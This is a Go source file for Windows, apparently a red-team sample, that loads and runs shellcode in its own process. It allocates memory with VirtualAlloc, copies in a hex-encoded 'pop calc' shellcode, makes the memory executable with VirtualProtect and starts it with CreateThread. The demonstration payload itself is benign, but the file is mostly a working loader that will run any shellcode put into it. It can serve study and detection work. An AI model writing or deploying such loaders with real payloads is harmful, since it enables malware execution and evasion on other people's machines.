// +build windows /* This program executes shellcode in the current process using the following steps 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Call CreateThread on shellcode address 5. Call WaitForSingleObject so the program does not end before the shellcode is executed This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them */ package main import ( "encoding/hex" "flag" "fmt" "log" "unsafe" // Sub Repositories "golang.org/x/sys/windows" ) func main() { verbose := flag.Bool("verbose", false, "Enable verbose output") debug := flag.Bool("debug", false, "Enable debug output") flag.Parse() // Pop Calc Shellcode shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") if errShellcode != nil { log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) } if *debug { fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode") } addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if errVirtualAlloc != nil { log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) } if addr == 0 { log.Fatal("[!]VirtualAlloc failed and returned 0") } if *verbose { fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode))) } if *debug { fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory") } ntdll := windows.NewLazySystemDLL("ntdll.dll") RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error())) } if *verbose { fmt.Println("[-]Shellcode copied to memory") } if *debug { fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ") } var oldProtect uint32 errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect) if errVirtualProtect != nil { log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error())) } if *verbose { fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ") } if *debug { fmt.Println("[DEBUG]Calling CreateThread...") } kernel32 := windows.NewLazySystemDLL("kernel32.dll") CreateThread := kernel32.NewProc("CreateThread") thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0) if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." { log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error())) } if *verbose { fmt.Println("[+]Shellcode Executed") } if *debug { fmt.Println("[DEBUG]Calling WaitForSingleObject...") } event, errWaitForSingleObject := windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF) if errWaitForSingleObject != nil { log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error())) } if *verbose { fmt.Println(fmt.Sprintf("[-]WaitForSingleObject returned with %d", event)) } } // export GOOS=windows GOARCH=amd64;go build -o goCreateThread.exe cmd/CreateThread/main.go
